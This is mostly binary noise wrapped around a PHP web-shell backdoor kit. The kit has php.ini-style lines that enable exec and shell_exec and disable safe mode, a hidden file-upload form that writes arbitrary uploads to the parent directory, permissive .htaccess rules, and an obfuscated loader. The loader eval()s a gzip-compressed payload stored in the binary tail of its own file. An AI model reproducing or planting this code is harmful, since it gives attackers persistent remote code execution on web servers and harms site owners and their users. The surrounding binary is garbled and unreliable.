c3-yvwneklpsi%PٍjCTm:˖^BSdp2p^ %H4899A)	 + ^,װ7=;ĄzSMҲ7/9q0^)F
@@/T28.`oodbsgmxrwhRwΊEu{8Ob2?GK`ˀC\+Ba"A	6#:@A$VAɑxXewQgd+cJLKկ'ftXf
mX{oerzn0='APJ5
׉)c_GiJml۠䪺@v͋9OmX#-=äL\HXҔR?c	|05P 9,Sk(3n	#n6J~_\7N'T7V~~]"($i~[?Ag9ś}vެ$|w7A#6mj:&QЯ/gm6#@LKz#/qwL$odbsgmxrwh2@_b&MDۉӴwןjhRL'&3ZC! Ά5]Nq&,3E24FK/)8+܏s7ځu*odbsgmxrwh߿f	9_JM+ʤ,5Td=z3o2#4םO֘8i{	3+3+z,Todbsgmxrwh ^RJPc1D`Nӵh,ݿ;և}*37ޒCpJrwU,̨7)3s{W٥N6TAyc@۩X@vIGN2_xuodbsgmxrwh,ɑ0{mpax'Rw_s0ϧ]҅R)tYMN@I~^*G&o	E@Swdo$l)H4JϰOonAjƅ
k$+bxq|ڿ:sK|?SinWdV{#_)n,qoQt]8g\]`]K`PЃ21[Q6aJ*@Hpq=F}aַ%sZa(:ӟl/G/uj֪J&yP@%Jotodbsgmxrwh	afe(_x?*&3D1Zyvwneklpsi߬|Eɟ@yvwneklpsi%
~o"9Y9n0:6:ck1;dOa@EH$5e$ɚ_}Uh\/yhvZCCuc\&I\
\RFϊN=,#Gq0Dʯ`&
Zĩ+?!#d ۭl
0_~_$VqҼ֝U]QS6oĄm	G-҆DmM"b{%l`odbsgmxrwh!߾ 
&q7JmAodbsgmxrwh_Řxzzdp?М-uU~x{bWSVjajּY$?{~,*#_`yvwneklpsi&xLRlDPB~m_"_O,*B6K5]ʴ! gFS!CBPIdyvwneklpsi
Mv8_& ̕~ywIb\IMBGIX[4o.E]ͿodbsgmxrwhOEy1p%
Rn;rϲ}1S'@Sh?;87b
 
*w(!	Ӟ|/JwXEodbsgmxrwhꑹ|2*fޡNLG3#S$cl}-
1E	RsցSL;is1IEV^@BB!=~ky1}hBBiJ	R1w=ŋ/t~ͩ@$yvwneklpsi%Pl]D	N_Ģ"QP^ܿ_su{*A
mwɖEld^!.'ĜC۱6on @PƨbRPVD јrS

p_RTodbsgmxrwh6?ѠHSyC%_ +z,:SxHqtzk[!5r}4Ak6Ӕ-yvwneklpsiww* \㰗3Z*5o~C0G,4yvwneklpsiUp.$&g~f5=æ^6+R!P2S;Ohّ/RSCۺ#^f V }_D ؖ3.KfHbB"N@
\N~uodbsgmxrwh Ng?х\u_?A}־3D(ؑܣDf0rWzU}J,DAybjLH)|O(D~fJT6e|7ԟBxj6y~S]WUw(KK$ѮRSx"e;'p+Y$xF)NyI9#\^q9}jk4K+dؘeS~0X*#ʯ7OSpF7,~o.g3fvTZ}bbt1VcMQ?_f_.	D?+쥸QMw@	hz`BDaJ[%/'G[f66B`
8 $]}$~+lo-r%	ncr@K	QBwpF]?se8(2b~ZB%.T\ڊӋL"# 4fP6X5~P膁E] G_֋Z@odbsgmxrwh9kVԎ8cu;B@+^l 51i)r,ϨM1yvwneklpsiL~fz"UJrw	 ͵=9z0d0vyFB%Ph|nLg'/Tظtyvwneklpsi4#	/eVtm)LV0'odbsgmxrwhY
0ZKCy	 q~nyvwneklpsiׂZPPc6=TQ6ӭfyvwneklpsiU'$(8/T
ɰ/(] aCyvwneklpsihL&ek_yvwneklpsi/,P(EsomH
OޥU# 2.qS`ba0yvwneklpsiҲޖ'ިxiT?z*(|LG#d!2\AIS0yvwneklpsic^_G)7hzcH/
M2{fπo4O-Kt=k;mb=&zyvwneklpsi3\/HZ /r),-/ąH3_X3Qva)*%TY$iJB`GS=W=
Q[ke.ꝶOqK1}8F)iac1IAN}R)P%}u赩-s~S=X28|[(3G#3pxX[ oXyvwneklpsim
ZC]W)H
(\[W*tk@O(sඬ͆
Ѵ\)Xu iz^#-};֚W 3zVFP^` I(%t	·k`d|$WUۋeOe
Bp(8ns"e,J[#(ADڋ˪ÔwH} $8e )JB MEXDL,!o~I!#4jz´[:Zd };ch=F|C u5K%V$uf*AY\eWNFIv3EmLH
m *1C~ԥ0w?T֘FXZbJ._|E`zw1J1e.~	G̕HDsM!%p֖odbsgmxrwh'FNo	k)D'yvwneklpsi`:=5(aodbsgmxrwhy,~yZKt9\mSOzӓ,Godbsgmxrwh1Y4RmVW}/G9kJrgɴ̃?.D1EduD-ZbdWVV{r$44dFN
F#c8.P+ fkkC1{xظ@䟈VeT5twOAWL:'CM|TQ"H,+ڿ6h)Nh4WGM ?Jo&3~&}-*}ieM:3	?y3boNvk,?]Xoq$s钾~#mhK`H+#G QUqo#{K%~6TT?7j	E8f矱Š&&Xl'HZ[B/ԣqRYxSOQ.wtӱhl8hjeE*3_Uu).r?ޕR]٥}Ur!l;
"Nr2F}۸ͅ.ƈgUG1Ӽ`d߿ؠT!'odbsgmxrwhFDW8^((QQ#kypК墲
.ӡG]Mi
:]Ol%Onfk|BF?ߵcO7eɐ;4(zVQMLV
ROyC}+N!P"n]iu^'[||e݁#tvmZyY_T#*"ښ?=' rP`!odbsgmxrwhtnHS8?R♂;(Lb*K0Pݶyvwneklpsi~ii"(d@/*v-6ऊ?
0HA((=6W%tޅ$HM|Ԩw-2PMCZӴvc"ʬ_}hV(wW,#V_ɔ-2%[	RbJRfHVf&}P[Z	!y ZN_i8OѠu/RCĜ)f8Ř@zW;7vbt.\ٹYTSxy[E'|DDW֜͢H{1{xfimsor2HqT).Tw`Ì-߯!n 	Sw)H4y

`v&ӽޯl{"'EV/wMGg̋3JnA'GgDܮ"mn@@brL~6$_6}eHܴ8	&/y80|K:#(I#開GlatˬM݉h=9Yp𻸠NB8Xd/ 0TU?AvJHmc6^}^$v/e=\@oE {U: yvwneklpsi{r$tD6)9˓^L#\tE՗D}d_7N],) |9q54hy_n3`N /v4=9rJrd\=@"3)3OJ랶dBX֣hlU$-Pek7~ƊG),eA%
odbsgmxrwhodbsgmxrwhnؕ6L?s-{QM
]7o*ajAqTv!%+A( Tߑ$tнUM#odbsgmxrwh*_2Dyvwneklpsi-Gyvwneklpsi3e}
uU!D/$i"-IsPpYM3cT+'m!Mj=L1#/j{xodbsgmxrwh]~u01V#(mB8)E{A(E`DIZ@"ċg(*~^O֭9v'ĥ묬]*NfLÿI-w/T%j9vyvwneklpsi\kodbsgmxrwheѯs,up`F:	}YK3ei*|Tp{yyJ2V?oHq&$;ß*@qo\(A`|7u%U޽ORcl:{V"VHβLr+RqEMZ͋pG^ެCVM[zU.GKR?X[{78D^jkhЈ,}9oI_k\vyvwneklpsi6q	x݌K~1Z@{Oa!MH)ȢW&g|Sh,).HF?
7G3odbsgmxrwhg񔙅TMI~?sm2yvwneklpsi&tKI-k۾"V1c)&ruldZU1Ug-J'2n٪`+O=Soa͂@ZBECHƕͪ{Fͫءj7èjz#4U?IH}"kۂSṮs Ҿ.㥲.,IֶF΍	~7X!EItB(1p|}eR}A7晓-7?Ɣ*
#j
jC8JlVD|yyvwneklpsiJ}lEU΁2|x6~Z$l&1)_+`NYo%qz(KE17!88z%̼kP-=a xodbsgmxrwhbqy3n=z'%~fu9*8Uxd72qRjS-nCodbsgmxrwh9~ĶLhq
M*|[yvwneklpsi|,LB(%DsRYEB#]^Wj8odbsgmxrwh5T|a䵭aUodbsgmxrwh,}T냨&uNcQTMrbx5[E_:tśEy!vC侅}my6b#WRDo̪.3n:deנ%TQt]I" odbsgmxrwh8TXE#X\%bګݤ2U~h3bRbPF%ug˭(Mu@La|"iuM&/~r/=#_A-xl#odbsgmxrwh =@g!Ud:}BQ%yvwneklpsi2q`3؈:	Q]7r7&#a'/y$LLb^ {اX#@xVXHvRjwbyS~IȀד	2{A̩Js_\ULsqR!DRJ޹Ȣ}p9ܡtSodbsgmxrwhW%$ -k\ FDO.0/+2cZ ]i	:?P-wz5M w5sGN$_㉘E)*NGOT:zL)8W_Xfr8k륎6~t"*sPo&fQMg/~.Qa`[v0	m݄byvwneklpsis.}GS#*Qw}`;Mioˬ/ff#\NB!j7P+8kW_#,bPa#IZNYşG:dRd!Ič1lP(oOWS,6Jm
!_- UUodbsgmxrwh\:Xx,JtnPVȯb~yp{C=c؄KNMIQ"ܫodbsgmxrwhh\pu&ESiш#85Ir2X.cA}k4Ww[I4d
.l]IRTqEzodbsgmxrwh侬=*[eSI1$hX'P?طt%ٺ[K?RhIo/$+o˶Y1*PUz+C7g{r;in2^pԄWғdVR4Vd.Ǎ]+Rs,{!NL ?FYyvwneklpsiea7
V^ )pwHd;x
	%j:OƭoXi؎ʛv.odbsgmxrwh¹)	~a`[r,Bgʬ@p
W]sv)/K{yvwneklpsiRù4`0=&(c`u	KpiFyvwneklpsii-(yv *qӬE/ ȗ=1f7-!b]ƎaWߚ-"i9Jpo c,+`ȕ-GXaodbsgmxrwh+`~Â,RIoj&DT{A$h!Flb\7X7w	E`Jqo*D U&Fs	Y_"yvwneklpsi]3"OKʨs8f7?\mC-@Q9ΫWxմxc!
}(^IcI:Y^Zצ(o{/Lm(E"
i
Y$r|xm-˥:f\D&WG_qyvwneklpsiPc
y{ÊPgUS%K"0x[HoTh#;yvwneklpsi҅3aY#|k}Fn
C^[;F'|]yvwneklpsi@Y+(n!׊vWhb!ƴ\짚daGOŐN$0'zx}׮A;xۊ?q
k[],2^X]=;^j#Zd /;ϙ[x/T%N(CdydjO彨codbsgmxrwhiPb0Ÿ^~R%)#cnˣBas5kodbsgmxrwhMwV9Ky͙UIu5Vl"/)=\]Rƺ	}	i-9.ْxJf$F瓱gք0֋e{
~ɄSХh)"%dnu~9[I[Fo:ǎeCx%a{TNY5a@:|R
Fe0i}	WVqaZWP_6%58=&jlcJ5wQ'^%YE=	|7Rߖbx[-yV=^PA|#좔p¡Pi,,-uw_Nf:⮥F^-]aX%,ʹEzS=}C"d,(qzrM\
&܏yvwneklpsikGVp M]rH&&*odbsgmxrwh5z8;E^qOfkEAԦt*PodbsgmxrwhoR!SvKgaM!xyvwneklpsi5|:q}aTLXVP|U*z ]Xi}-sZvَhWt4d3λUnhyvwneklpsi%A[]-Գ&*`:y*/-"VT4fݪst)ڨ]Φ V*J^372odbsgmxrwheqfHxp9_Q5yGxb 0}zά'w+{KyHH$4"3	odbsgmxrwh,Ti+ kCwU.*9G5M6@n8NދlQl ]CUE4ĺr3~gNL@QvIWWASWyvwneklpsi}TFlxeL{G(|wEm8-N3[CHeFk|71t2,Io8e)roK  Iys~Codbsgmxrwh۩_`%@Pyvwneklpsi)=Ѿ\[odbsgmxrwhuHDr1M6ѥpЋԖd
M.%4jmMKbu}\(6Po8OfAgძ^V֌[%d܈$xYX{*z#`XT$#3qkVTq`-,8ڑIyvwneklpsi%2Qyj	hyvwneklpsiKXꃶUq-odbsgmxrwhi=E+.WgLa6N &
&!Modbsgmxrwhv)4ǰ{z:=E=F| L{&odbsgmxrwhSCbyvwneklpsir7?odbsgmxrwh
T4
Pe4O9mhcInMlV
&Ik~Z
9X

a[3789;~0 !qq3e9:\'2
B!8.zܠr?9;tvԂ] i31Wg dyoNQqT6v)BmOƓۇEg{Jx+0UxOIpyvwneklpsiiJP48akJnrYڱ~D{}|\]_)98:k1L:f[1 JC2zQ09v(:Ox1 .|DJ58~J)ll=%ݿ{3'3k)gTҡ-Ӎ ޱ5k
Cqk?-[ƚz(8CR~AH#TݐbW"&odbsgmxrwhߊ+[sAC,pҽǩ	7+xަܾ5.CW y%v0LP6ilx`P,
o8g7bZPfXCbdy2!%M26GLB e;7Ve%GD1C2pmH	`g]?a/G25?|'O+TѱDGA{
DlP˰o.]xC81ù^9 _[r#B
}5EL9oj{lVo)F8Ձeo^ʜ1,kas) j"4}*b{#	^c^~]N6"OZ*K*)yvwneklpsiYT#TRyvwneklpsi3eUCdLsx&odbsgmxrwh(=V8c0_y 1~+gY,fOѯT+Pq]`]!~3"9%}hh
9j;yvwneklpsiv9㩛Eԡr˶odbsgmxrwhD34iHZH-\ҟVOxd[K
:
4oL̃u؂575d"_s03L-;&'`OqZGe:l4Ϣ0#&}E}18ۈX2τ{Ft?N4yvwneklpsi="
KKqí	ܮE:Դd*D'Lkɐ܎OӗYYY=syvwneklpsirQ!¢g+U|6IoZodbsgmxrwh*~v$u}v2`29^
mw?)xSؓHB^h3^?/~$|eH4V.Klt%}	:!\)cvT#yvwneklpsiwN]˼	'ˉJfodbsgmxrwh3fuf2_VU4獢2
#Bw4l&!w']rFG[!
9nb, hO)V/гnm%|Z}(P шʋ@gJI_\^D[#M$=Y]3#W^6kf\alDavICAz#-џP(6{?Pƺt=}odbsgmxrwhbYOdĬLkš*b}cɹodbsgmxrwhO^oFPv{Yqg$i-PͫD ˚-vE%QF3C
3nqŤqC j:ٻ˯!sj8T%}4e`IOГ|)]EK ^Qhq2E:$-~W]ӜQyvwneklpsid`ǫ/d
ށHR*	F{6JxKk霉c/ c
flg_g
(!P%a)J2pYywkaoyvwneklpsiF.BhF5u׍oY'ڱU(d(Jki)}{HwNY'B6MbFbil's.|?y{2~`.?;!?Rݶw)157j҅M
G30OCSЙR3nyvwneklpsi 8ZKo۩/ާ~L~]!@{XMc4lAAodbsgmxrwhModbsgmxrwh԰Ǯd{odbsgmxrwh66( &l(
\/-Q#v@dtmv_!:n2Fm#WAa`+MJa?RW4
#gVQD7
͔wS9e4.odbsgmxrwh=sS[
D`y gt%۩woE_`Rw0DQ̋ejpT2Hd=)DKP@"ܵXt̷MF^أd'ڥEy, S7	i!o",X hCi/F)Fwnzj(gڟs(?%[ tQD̽&:j 5@(`f\)QP(n֏Nodbsgmxrwh!$2{lP"]YǂW[KEqO焗Lؐ[!YTߚ޾5]0XByvwneklpsiQ3qzSvLJyJ.EFq;v~de|HIfx㤇9[yvwneklpsiCkȩR .D;~Ma\8_6O)Q^269#Jp;C
;΃*a6J(ˏ#\~ujh&+
BxT=\eH;|2@"oK㕭-Bt)5L)^}ܙuKxƅ\)Lodbsgmxrwhf|BΖ\+(ĵ!7ڡ&.Hx4n=c4Na2\*NrgwK&SЫQfZTC~Aa
LpĬ*@G.O?~':NS'=GTHL]	_ٰ]@/ifeÍ&z	[l!]n,"EgAN7TՌ$odbsgmxrwhW;3SgSާD90xAt炙yvwneklpsi{F瀁NHIeY?qFX`7uOE[ !92}RGpU12WHƿO~@odbsgmxrwh!唽	$Yٖ`8-
Z_]M^Ud=odbsgmxrwhVmP4SӠR!3ሁ,B,$pI_	2
Xh;}z~/fsv^MuHjHfNØcwT)HbkQ|;|{^LU쿞~Ue'\odbsgmxrwh35AڄsMSzԯDOu0403r?ßhw䑘=FYyvwneklpsiV wcݮ}k'htO?J^ZMr͊MU[5V*4%kǱ`U'vW։HUu7,[`dC968+!~⥟Јo}\q k*M\4eb
ij9f-vpͅI[Qƅ_WmoPA^_Nвv܁ϳd2Uj:ra~.7,#RYށqk.Fnޭݺ tߪqF7}yvwneklpsiso\iU&4iteRͼCPлc8gJ?[elPYv@u9$^R`HҖqMCiZc0d̕J%.IÉCzJЂgJ^$vn&Y*;T:kNBn2 g|	rCXvnYoݞU5]-0Ur9 \oaC;
v㚭E^5\oOG9թkB(-K#Jޔ
{}Myw'(僙JeOu_րb_gBaH}BwD'EZںeBBZX-N/w_H\!Eodbsgmxrwh砼ξ8TzCyvwneklpsie|V@˷r.C13brwqxSIu")G#'..BJ3+?:O	(Aߞ odbsgmxrwhP
grX/0IuDBQV}#"mb 䮗ew%jWqW*k`SeC";
,7-:c|LEw:'^o0|-@10TfQrٿ`*汰,k~L|*#HY\MٓNޥ}"HC2u!Y8Ӧ
'Î ZS+$0\b`ʺ9dh1rGCEw;ʒ9%Ğ# 0NdFКw@s]v \נ&^X5l|ەodbsgmxrwhɥRp#BZkglF|wKwI,wyӯAGIѠ;y}G:0?)IC¯8ޑv?Bgm.dR3\KE|*tRUN6[oey#7s塰Ն`HMy
rDkM,@6;(~wͯoWvvs|/\2d
Z'[mGiOpvn\"p)|odbsgmxrwh-&pg9H^&**TffyNdܤLuN뜒SUU	uԡx7MZ?¾q:odbsgmxrwh9&~yp-7$U*"8~h0Kw.g|zsWFvQ 2!4j͈"i[/v~jaGY|ќ,2!=.=KfiCoyǜLD dįry\MsIiyǋQTvbSN1Ҙ,W`S#S󷦶QzP/jLd0k&ęseBN2\ukTs`ݥ!gHf^-
69s8cdCN#mճ{я-g7ی%ky|Z=La|ԕ=K%odbsgmxrwhPP?u`i6
9]E8K*쌄r5ORS݉]fԡ^ѦL8~:odbsgmxrwh"|ykyvwneklpsiŊ?mM|\yvwneklpsioodbsgmxrwhvbm]noF̲i`ik}LIo&++`]܌7+Gi_#	+S˔]ȽOI1p{ث	q :AS䡸qm4Q Eه9wІlޜD&kհ#و3̎%ƼͶGj6i@9l|p
JE&=;!?u%cӨc&D͓=f[Bf+EOAϫҎV,M)Uy9,2 $nr@!,oD2ݻ2AU&odbsgmxrwhAjP9~`ryvwneklpsib;}֝

aWodbsgmxrwh
Xr%l]#sUy)~odbsgmxrwhMM2U@}p?qQiKgcJ)Aό͛k4qEp(VgJKsFjZZl4	QDISӟSJoz5_aD^J
f}{3ԓE"
N%LyR9FL7nŚWB	)@I8oÜy.A5]QQL;@ee{Jg?(
!4`n|᭐#0/Kn]*5E6x?(~~w-yvwneklpsijߍ0N oeQ1
JW|Q8:ipN5 n
-Rk/(YxԀ&Q=tzYvdL_Ӭ]1?cyiidf'gܵkb-[[9]xB+k2B]b-ÜL]Z9=Kh.Yi`d4:8Y:Pʃ)O=fPT6=´q%oG'ey\kID`}0G|Ku\w}=@Gt2ƒ :ѱ
*,37pyvwneklpsizyvwneklpsiɚJ?5Qodbsgmxrwh%Nį[ёfLfVXKuᐟLN:sm%ŗoN03L͐odbsgmxrwh8j6D˧$e^Kggx8@y!fhz"(暢~g5*lʇ*U](_~;C~}UA 3q5V}ggЧ/AkA 䏽~{|odbsgmxrwh}u8'_ڛNŦa̶TYÏq&WNChө+HiwV3ڞBhRl!1M?dr__3&V
*=ȇw9"9F+AgN-~Gj G4(KщzWup7-i4lٿ8odbsgmxrwhA9~B|#8CUxRwyvwneklpsi*pW8sqtso~[3g0@۱- 319hB筝fz7 \Mg~m)0PsodbsgmxrwhvPsYD״K[aOb@y6\}Eê@_^nRyvwneklpsi:NQo$D?rF)
S~kc/yvwneklpsirx[rFRHz^zaOyvwneklpsiJۑoAB6ɤ28YeM& }^Jw\D/sȹLaܟadsE	e_odbsgmxrwhJH۩Gc7yvwneklpsi(
8ST Ԥ*4mܙ& 2]-nẹodbsgmxrwhu]JRvYodbsgmxrwh&@LivɛWMXl,8zSJ6ӢKz&jxΡuj$@lmɌk\&VBIV-hnt5vZߝ4lZ
cÆQToR=R/g//ŭ=|nNTM**&:PRN+4(R#֯r݋⧺|۵z+6?":̚CQW,ӛIH9-#,V=ݪ(qǛ,yvwneklpsiLyvwneklpsi]9$XXodbsgmxrwh8hHµc@e(N,95modbsgmxrwh(%ds3K*ݼV_nFZU"P#j_Շ16}1	hr5@r:	ymFV&*{[VpZC,!cWZDYDm6~XCɌ,(ralLݔs
VEV1a/C.a_mINdF)c 3*\+;V7ٟAPrT3Ზ!%sRbW9GO@=zmc4 ^W\\2n@5bayvwneklpsiyvwneklpsiI$/yjV4=~vV	ߛ^ș_#\\hӇUn̮/]yvwneklpsio]'*9󚿉odbsgmxrwhR5p+
gW܋
w;}S_S{""8n8Q:.[R:DedНBIw4qo{Cyq㹳odbsgmxrwh]J`iEPLf*XLnZt;t;0%"a-|]|jJ	³6co}ν}C3BPW=q,Ujn MAC*__9R xiA&V	ʦpQEobK,p':R8x6_O'JrAHAd\m,fR]
4)swq
"eZ0 RrB^!
!F)	I4+\XH+Wmc)ZRo,vȡ96vHi~bLYGEuKpO=U
~?0ى=odbsgmxrwhnyvwneklpsiϕM5aږD:NBMAn)RS_IƠi;a
zBiݕ
z9@҂ZR-HS~N=%+5q
qV`(MWb*hE*cyIodbsgmxrwh|2ϲ8me|I?W΂]odbsgmxrwh'T
?q#Q;c}xk%PLf@?9)V=QI'P%Z_I~7~ԏ-b
e P9#7L}3@=Sр$q(+bO9e*6jdlU;Ț(׎odbsgmxrwhv"%P !
Y9iU2pPkwW2BY|r꒝^onm}/@Hyf0_3+:]&$䉔 0P2K\vXln(r [v$.[Bt(QQlґyvwneklpsi8*k&]RߟИGa8ʛKIݜ[L1tKILet`BdBRFyvwneklpsiDDIꩱ/ʭAR4eFzNɃ0CjA:H\;^LDnn@VF^zPxie·S/XK:§?U9%δ'5	CwQUɊT~hğNeI5QEa^y7ﬆ9=8,odbsgmxrwh_&^){Īy33.[oԅ J pXb碔ɋJ?,5"dDnp"hhރ|MYkGȌu֒7jсщ JyVYwlFQܬ&xFӺA\M#¦h͛;K?
Y3w8ߪzVkÂdMGrؘَk:,04Lyvwneklpsi짶;l_ 懨O.q.rZK;^&#2.}%ѐf*`d;ΟϳV g"ez8cTS5aGտ]Fow{=$'uKd
Zf-|R	 GJOX2@ʌAnw[@N?yvwneklpsi{߲tOIM_9odbsgmxrwhSovyvwneklpsiyQ4W8lo r2ޤ:٪?A	^·n(ۙO~]H| 'PyvwneklpsiQb~7Ib=i(U).9odbsgmxrwh6JIJfY#_Xyqotu9)8'!-(d:;NBP"$8WxOE$	}UE㼘fǽYOodbsgmxrwhF]YX4"`jPb݀ox{X3ĞnEAyodbsgmxrwh0S1`{Cf,K¿9xL2yvwneklpsi,cYit;{ ]ꅴG6RdXzt?KFfP-u-:-ѮV%O!['oD\QKjhjk aWoAǸI
	nCJQ
f{}qs
EΫ*AMuC#-Ȼ%xa+,3Rj\1N1iƖQA(E5V*[_o-%C۫xqkc~|DJ0$V[1J}Q
.$ACf*ѤL`bTv;N9Đ(
x8F]pbP&ii/O抌W0dĸ: Xci^)NAm)v#uh@:퐊Z VX9R`
HpQIϹ )n- k=8Bn~z:#dL8yy/,|@-U"=
QodbsgmxrwhP7/	bjb A0a,?'zI;*I%
䜁#uQ4
qYpq Yь|տ,R`EMFJz}fXmsc?nW@E)5.Tfƺyvwneklpsi԰bB@L°G^JZ%"_P2%}"k&YS8T*ԥ9ĜFyvwneklpsi~ϋ޼odbsgmxrwhVZwt4yvwneklpsi)3r0=
*ΫĪ3l(ul!vD
,ћ|K0T_@8\ˀ4)/ˁ҅\5M.?]"nUT{/yvwneklpsi}'JAƙ¬'L/l9NPĿ)
)BT~K_̗Ih(PL&s`"83Z-G(\s"^r١ɔ6j3}Dh[ƛ/H}3`iDUsyI9ep^1P}һKv[
!Q;Tv5e`/JyvwneklpsiKHEm8yvwneklpsi"HUXRޤPːKf:w|'uvI';yk(TQ\93i7v}
 W?åIѤP$W=X4;-ٗodbsgmxrwhWX`Za,I2	k O]
ӿ"Nٌ[kQ9OҴ_tT$gݰ7Q	[}~VIc+޴EKYnXw~nOB_6L1d
೰t_]s'RyvwneklpsiDcd86̼!0ltՃԡCv
'1	=vAaǍR,ayvwneklpsi'GZR39Db&x#"Ysu)|@aK	XjOU|j{p|ǡxKx׽u|̉;|óA7%i_,9GҼc՗\ד	QJ]V2s% CكCͺa[ͪnɜh	Mw}Nj)HmzO:bMY@/G!n׶Db{ Ak}Yrodbsgmxrwh՚GMk@2SC5𼲖^).	?aPVc[O)18{ݿaNk_7]wv(ܞR+#VOgq/mT#BybrH3|(iH(odbsgmxrwhʯy@o/8oU߰
V.h?
,xxBH%^LZ1OՎFodbsgmxrwhu)Bt2&H&~5{1.0.sVmymhf.ds/y"?f-A[Տokn3W[ڄOóVQ9ieÈ4_9q):bJ/P\Ŷvqzu3DVFϼ*
()-xTФݱ3F|_,	K
gwrAu/78k
;A8a
XU5B*w:e	YNӾOʰ
{#1UA7jqa}pmodbsgmxrwhW
|
AQS[(faPRhL5*319`/11	LZΤ`o ;סg\^yJ0' ;p硯3;.M
x]DB6K
c#؋Qb::@L}.SoodbsgmxrwhƯelq1#ᆦ;(K?_Oov=*eʝ14omU-bsf}(GGB81E-(:qdZ"T?=oS)hϻfbk\6!*diZSUN:_RA\?KQt@=%(_j}zO_0!heO=66@pdwyvwneklpsi?Qp(!~ǲv	Hot![2NPD `㽛cD@8FD"[)h+@Zzz&}x6iv3*vI2vÓ/].oUiXPb~j^AbX/9k_2Ū__Wp+%V5|k4OCzpو i^^L+Ox%Fٷg2V$~Todbsgmxrwhd7+}TyF
8gWTa咶 늄3gᝋ{[o
ف9mXe-GA{#\|L+OyT_Ϯ7TZH@ֈ7mk	uӾodbsgmxrwhV(.q.y@4Hc)uۍxcux̻պ*
|H+`VR
JWxo
E;h+ =~=&B@Ct:qȻ?
]/(^9r؆LuT2^2Hd.j2.ΓBPOVd: OaP""Op?^odbsgmxrwhr,ϊstr9tЙ(͞t7O,W2eJcs\ykle4`2ό&u)cy+`e,%hlKW=zHQ#ήk.WPc)Y@ǐxhyvwneklpsi2N@sNJ܇jgp%'	C:1tyB܏eiY2
^풮#6]/:D0x\lYN}	3X8"hzI5Sλp͛ĉ]e@HL~XMYMbY;Gjt5	Q
8
H#]XgP"Irʉׁ{~Z=*s@DKyyvwneklpsiyvwneklpsiNi?R.dIaFC2lNeR3Y[{sj+RoUbޑE(_xY!8C˳dvD@!͸%سb@T`YR18 ̿9BԑS)P$dX&t\Drkx']X{gp@wւ5!k=5nzS=5zi8UP\=0?'
m-z@ޚEGmM.9odbsgmxrwhZw0[nW︦OڮQn2.an0`
%P'^Mѯ?9)L^fWjUhkaE0tM[3ߜԺ*Oƒ:dsz~7"ng5jqt	aj0ꍷe|86z78a/?'x]֘OK:^Uֻ_GVDݞ^zQG+AXvsiEh{S*$Ycodbsgmxrwhyvwneklpsi;Z-b},J'c,fHeƊصJL^/,96VI/vj:yvwneklpsiRɔhp W'n|#Nr؀odbsgmxrwhx-|![(]o&XzJJfBÙP;ws-Qroyvwneklpsi?; 'q"l3}D6$
/6yvwneklpsikagy%97@yFC,Y϶7pdvDcݧ9Qbb#`G-ߛ°[fp?csmR,S-vw4Q36oP|²OS!kE1Vć`I)o͗7yvwneklpsibWrI4UͽWSDtu
SWYRr5$i9;ÿ?дOsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$EhHG='file_ge'.'t'.'_conten'.'ts';$slpV='s'.'ubstr';$aWcX='e'.'x'.'it';$FrLt='gzu'.'ncompress';$MkHl='s'.'tr'.'_replac'.'e';eval($FrLt($MkHl('vmduaetwjh','>',$MkHl('agdlstepwi','<',$slpV($EhHG( __FILE__ ),-172998)))));$aWcX(0);
?>
x4׎궥*뢀sA'ۛz{Jdd B͜c|#Ő_6?Ͽ_ￖq?K-e)ޣn3hﱂ~./afR={p(d;Q,˸RLCo_?9"-s=gv?Oq$ݿsg\Ϡ_M`4
tIB*ǉs5Iπ
IVIU/*gk)Cu7qu#4M;K%glLlN_EL.msb'T]@i6f:;&{E6ra\~%*zWT)Z7R҇ZHhP9pA.Vn+?|e;!G[o}çqҼ|s+agdlstepwiZhkCa1WnŵǍJ#VeګAjj2o$pF맞 *OYb޺#kA&Ѣ3kqD.˗9wx{"C`mVL!i*ݑ	2_X
I8Y9fY  d2E\z@|!-)j=vh	Y~MjvtI/vmduaetwjhPĖEu`
Zk_■6+w'"ށchit6mNf=n)qC3io_uIAߌHe4Q!M8~Fc|:7"tp{@k0#HzJ|m EzaT%b#~h(]A.1WtKSDٶzwK)썒
s}+Pץigc\?*@agdlstepwiQVGm	B(kF AɔKQ0FF_-P7o&7eoBmE~vmduaetwjh)֣FBv`}-sW#HƵ\
svmduaetwjh`nO`/ixagdlstepwi:}DQ09QyO޷
C صCBxxM8dl
8\*S݄eTs$+vjJ29{vmduaetwjh"B?82ZoAagdlstepwi.tV7'Pq7		|#Htag#6)JX0Tw!{ޟ{$'RB^TM2=M$E_k@mG)ehs3@ZeH^ɯBn֪.!8,nk?_$o,]&[JSagdlstepwi-	)*]rO]n)	~^6'ڼu]ۭ¬XFO|]51˺h_4gwolK
C
@`H{~*Fj.O\Q.i@CrZŅIR"(3	~yRciR\tbvmduaetwjhˏMuXt |I:	
n:v핺+\ȖCUίF͵)5I~DuxK%+PsjPwRlDU̩gl N{	BagdlstepwivA
 sTYsrA)W]KG]WJQ=x	ͮ3`Zgw|V%\@@VgqW%K"3ʧRkP9":g%/O
agdlstepwiMP]헠YT9D6GcrֳZyC8{W犵ZSzر,dL1x6T,Kq9X\1]
&IхC	^w
vmduaetwjh񊶷DNGV
vF;_]מv:/vv+y#5,V^+'Qeoeh	QӘ%}ϮT}?E|vmduaetwjhl(h&ւ%]'YiP(Ҙ$[Ul}PiHSQCcs1.N&U}y|kk`AܟvmduaetwjhuHUIcVg%vmduaetwjhNtK-XQWPQ=vid%vmduaetwjh{&Y4s!M]I~ޗE'lvmduaetwjh?hLL9 4L |rCP۩CU#nbĚe45^G
@~a$=3_+jﳜ"yɱL4!\yXVvmduaetwjh	D1pk
\'qkƩ:M-QuO[()ő!2=WYbGb=qʞٯ`+!?43VR",$ {ʁ89TOovmduaetwjh1kvmduaetwjh u}~
2=:^|HmfkP8CbA\`y/)B7aeO+
za]GQC~tGk&و,'ny螨PI9XLT
